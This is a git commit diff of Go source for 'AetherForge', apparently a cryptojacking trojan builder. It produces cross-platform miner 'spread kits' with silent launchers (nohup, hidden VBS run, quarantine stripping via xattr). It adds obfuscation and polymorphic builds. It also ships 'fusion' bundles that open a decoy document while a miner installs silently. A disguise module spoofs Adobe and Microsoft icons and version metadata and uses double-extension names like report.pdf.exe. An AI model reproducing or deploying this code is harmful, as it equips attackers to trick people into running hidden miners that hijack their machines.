Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -0,0 +1,426 @@
package builder
import (
"fmt"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
for _, p := range platforms {
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
workerPaths[p.Label()] = wp
}
if req.SpreadKit && !req.FusionEnabled {
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
if req.FusionEnabled {
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
}
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
if req.SpreadKit {
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
} else {
subdir = sanitizeFileName(req.WorkerName) + "-universal"
}
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
for _, p := range platforms {
src := workers[p.Label()]
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
destName := "worker" + p.Ext
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
zipName := subdir + "-package.zip"
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok {
primary = w
}
zipSt, _ := os.Stat(zipPath)
zipBytes := int64(0)
if zipSt != nil {
zipBytes = zipSt.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes,
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
FileSize: zipBytes,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes,
FusionExportDir: outDir,
ExportPath: outDir,
}, http.StatusOK, primary
}
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
// Resolve payload display name (used for runner naming and ZIP title)
payloadBase := filepath.Base(prepPath)
title := strings.TrimSpace(req.FusionMediaBaseName)
if title == "" {
title = payloadBase
}
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if titleBase == "" {
titleBase = "fusion"
}
subdir := fusionExportSubdir(req, title)
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
mode := normalizeFusionMediaMode(req.FusionMediaMode)
var fusionResults []*fusionBuildResult
var primaryPath string
for _, p := range platforms {
workerPath := workers[p.Label()]
platReq := *req
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
platReq.FusionOutputName = runnerNameForFile(title, p)
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
runnerName := filepath.Base(res.LauncherPath)
destRunner := filepath.Join(destDir, runnerName)
if err := copyFile(res.LauncherPath, destRunner); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if p.GOOS == "windows" {
primaryPath = destRunner
}
if p.GOOS == "darwin" {
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
log.Printf("[Forge] darwin app bundle: %v", err)
}
}
}
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
if mode == "paired" && prepPath != "" {
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
_ = copyFile(prepPath, destPayload)
}
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
readme := fusionReadmeInfo{
Title: titleBase,
RunnerName: titleBase + "-runner",
MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind,
MediaMode: mode,
}
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
"What happens when launched:\r\n" +
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
" 2. The miner installs silently and connects to your command deck\r\n"
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
zipName := fusionBundleZipName(subdir)
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath
}
zipSt2, _ := os.Stat(zipPath)
zipBytes2 := int64(0)
if zipSt2 != nil {
zipBytes2 = zipSt2.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes2,
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
FileSize: zipBytes2,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
FusionEnabled: true,
FusionExportDir: outDir,
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes2,
ExportPath: outDir,
}, http.StatusOK, primaryPath
}
func runnerNameForPlatform(p BuildPlatform) string {
if p.GOOS == "windows" {
return "runner.exe"
}
return "runner"
}
func fileSize(st os.FileInfo) int64 {
if st == nil {
return 0
}
return st.Size()
}
const universalDeploySh = `#!/bin/sh
set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
export AETHER_KIT_DIR="$DIR"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
*) RUN="$DIR/bin/linux-amd64/worker" ;;
esac
;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
esac
;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then
echo "Worker binary missing: $RUN"
exit 1
fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
exit 0
`
func spreadKitDeploySh() string {
return universalDeploySh
}
const spreadKitDeployBatBody = `@echo off
setlocal
set "DIR=%~dp0"
set "AETHER_KIT_DIR=%DIR%"
set "RUN=%DIR%bin\windows-amd64\worker.exe"
if not exist "%RUN%" (
echo Worker missing: %RUN%
exit /b 1
)
start "" /B "%RUN%" --spread-install
exit /b 0
`
func spreadKitDeployBat() string {
return spreadKitDeployBatBody
}
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
run = dir & "bin\windows-amd64\worker.exe"
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
WScript.Echo "Worker missing: " & run
WScript.Quit 1
End If
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
sh.Run """" & run & """ --spread-install", 0, False
`
func spreadKitDeployVbs() string {
return spreadKitDeployVbsBody
}
const spreadKitStartCommandBody = `#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
exec "$DIR/deploy.sh"
`
func spreadKitStartCommand() string {
return spreadKitStartCommandBody
}
const universalDeployBat = `@echo off
set DIR=%~dp0
"%DIR%bin\windows-amd64\worker.exe" --spread-install
`
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
// It detects the OS/arch and launches the matching runner binary.
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
func fusionUniversalStartSh(title string) string {
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if base == "" {
base = "runner"
}
runnerBase := sanitizeFileName(base + "-runner")
return `#!/bin/sh
DIR="$(cd "$(dirname "$0")" && pwd)"
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$OS" in
linux*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
esac ;;
darwin*)
case "$ARCH" in
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
esac ;;
*) echo "Unsupported OS: $OS"; exit 1 ;;
esac
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
chmod +x "$RUN" 2>/dev/null || true
xattr -cr "$RUN" 2>/dev/null || true
exec "$RUN"
`
}
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
// title is the payload filename — the runner uses the double-extension disguised name.
func fusionUniversalStartBat(title string) string {
runnerExe := disguisedRunnerName(title)
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
}
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
func fusionUniversalStartCommand() string {
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
}
func formatSpreadKitReadme(req *BuildRequest) string {
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
=====================================
Run ONE launcher for your OS (silent install + mining + deck connection):
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
Linux: chmod +x deploy.sh && ./deploy.sh
macOS: double-click Start.command (or ./deploy.sh)
Keep the entire folder together — bin/ must stay next to the launcher.
Command deck URL baked into workers: %s
If agents never appear, re-forge with your LAN IP (not localhost).
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
`, req.WorkerName, req.ServerURL)
}
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
Worker: %s
Build ID: %s
Command URL: %s
Pool: %s:%d
Wallet: %s…
Auto-spread: %v
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
}
func truncateWallet(w string) string {
w = strings.TrimSpace(w)
if len(w) <= 16 {
return w
}
return w[:16]
}

View File

@@ -1,13 +1,5 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
)
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
var tags []string
if req.ProcessHollowing {
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
}
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
env := append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != ""
if obfuscate && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
}
return out, nil
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
}

View File

@@ -0,0 +1,75 @@
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
env := append(os.Environ(),
"GOOS="+platform.GOOS,
"GOARCH="+platform.GOARCH,
"CGO_ENABLED=0",
)
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
if len(tags) > 0 {
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
}
buildArgs = append(buildArgs, ".")
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
if obfuscate && platform.GOOS == "windows" && !useGarble {
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
}
var cmd *exec.Cmd
if useGarble {
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
cmd = exec.Command(h.garblePath, garbleArgs...)
} else {
cmd = exec.Command(h.goBinPath, buildArgs...)
}
cmd.Dir = dir
cmd.Env = env
out, err := cmd.CombinedOutput()
if err != nil {
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
}
return out, nil
}
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
name := workerFileName(req.WorkerName, platform, fusionWorker)
outputPath := filepath.Join(buildDir, platform.Label(), name)
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
return "", err
}
configDir := filepath.Join(agentDir, "config")
if err := os.MkdirAll(configDir, 0755); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return "", fmt.Errorf("write builtin config: %w", err)
}
ldflags := ldflagsFor(req, platform)
extra, err := injectPolymorph(agentDir, buildID)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
return "", err
}
return outputPath, nil
}

View File

@@ -0,0 +1,225 @@
package builder
import (
"encoding/json"
"fmt"
"path/filepath"
"strings"
)
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
// When injected into the runner, Windows Explorer and Task Manager will show
// this information instead of the generic Go binary defaults.
type fileDisguiseInfo struct {
FileDescription string
ProductName string
CompanyName string
LegalCopyright string
OriginalFilename string // the "real" exe that Windows thinks this is
FileVersion string // e.g. "24.0.20112.0"
ProductVersion string // e.g. "2024.002.20965"
}
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
// the runner binary look like the legitimate application for that file type.
// Extensions without an entry fall back to a generic Windows shell host entry.
var disguiseByExt = map[string]fileDisguiseInfo{
// ── Documents ──────────────────────────────────────────────────────────────
".pdf": {
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
},
".doc": {
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".docx": {
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".xls": {
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".xlsx": {
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".ppt": {
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".pptx": {
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
".txt": {
FileDescription: "Text Document", ProductName: "Notepad",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".csv": {
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
},
// ── Video ──────────────────────────────────────────────────────────────────
".mp4": {
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".mkv": {
FileDescription: "Matroska Video File", ProductName: "VLC media player",
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
},
".mov": {
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
},
".avi": {
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".wmv": {
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Audio ──────────────────────────────────────────────────────────────────
".mp3": {
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
".wav": {
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
},
// ── Images ─────────────────────────────────────────────────────────────────
".jpg": {
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".jpeg": {
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".png": {
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
".gif": {
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
},
// ── Archives ───────────────────────────────────────────────────────────────
".zip": {
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
},
".rar": {
FileDescription: "WinRAR archive", ProductName: "WinRAR",
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
},
}
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
// Falls back to a generic Windows shell host entry if the extension is not recognised.
func fileDisguiseForExt(ext string) fileDisguiseInfo {
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
return info
}
// Generic fallback — looks like a Windows shell component
return fileDisguiseInfo{
FileDescription: "Windows Shell Extension", ProductName: "Windows",
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
}
}
// disguisedRunnerName returns the Windows runner filename that impersonates a
// document type using the double-extension trick:
//
// "report.pdf" → "report.pdf.exe"
// "clip.mp4" → "clip.mp4.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
func disguisedRunnerName(payloadName string) string {
ext := strings.ToLower(filepath.Ext(payloadName))
if ext == ".exe" || ext == "" {
// Already an exe payload or no extension — no double-extension trick
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
if base == "" {
base = "setup"
}
return sanitizeFileName(base) + ".exe"
}
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
if base == "" {
base = "file"
}
// e.g. "quarterly-report.pdf.exe"
return sanitizeFileName(base) + ext + ".exe"
}
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
// icoRelPath, relative to the winres JSON) and the spoofed version info.
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
doc := map[string]any{
"RT_GROUP_ICON": map[string]any{
"APP": map[string]any{"0409": icoRelPath},
},
"RT_VERSION": map[string]any{
"#1": map[string]any{
"0409": map[string]any{
"FILEVERSION": fv,
"PRODUCTVERSION": pv,
"FileDescription": info.FileDescription,
"FileVersion": info.FileVersion,
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
"LegalCopyright": info.LegalCopyright,
"OriginalFilename": info.OriginalFilename,
"ProductName": info.ProductName,
"ProductVersion": info.ProductVersion,
"CompanyName": info.CompanyName,
},
},
},
}
return marshalJSONPretty(doc)
}
func marshalJSONPretty(v any) ([]byte, error) {
return json.MarshalIndent(v, "", " ")
}
// fileDisguiseSummary returns a one-line human-readable description of what the
// disguise will look like, used for logging.
func fileDisguiseSummary(payloadExt string) string {
info := fileDisguiseForExt(payloadExt)
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
}

View File

@@ -0,0 +1,10 @@
//go:build !windows
package builder
// applyDocumentDisguise is a no-op on non-Windows build hosts.
// Icon + version-info injection into PE executables requires Windows tooling.
// The runner will still function correctly; it just won't have the spoofed icon.
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
return nil
}

View File

@@ -0,0 +1,118 @@
//go:build windows
package builder
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
)
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
// the file type identified by payloadExt.
//
// What it does:
// 1. Extracts the Windows system icon registered for that extension (e.g. the
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
// extension and using PowerShell to read the shell's associated icon.
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
// to match the legitimate application for that file type.
// 3. Patches the runner exe in-place.
//
// After this runs, Windows Explorer shows the runner with the exact icon and
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
// Combined with double-extension naming (report.pdf.exe) the runner is visually
// indistinguishable from the real file when extension hiding is on (Windows default).
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
info := fileDisguiseForExt(payloadExt)
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
if err != nil {
return fmt.Errorf("disguise workdir: %w", err)
}
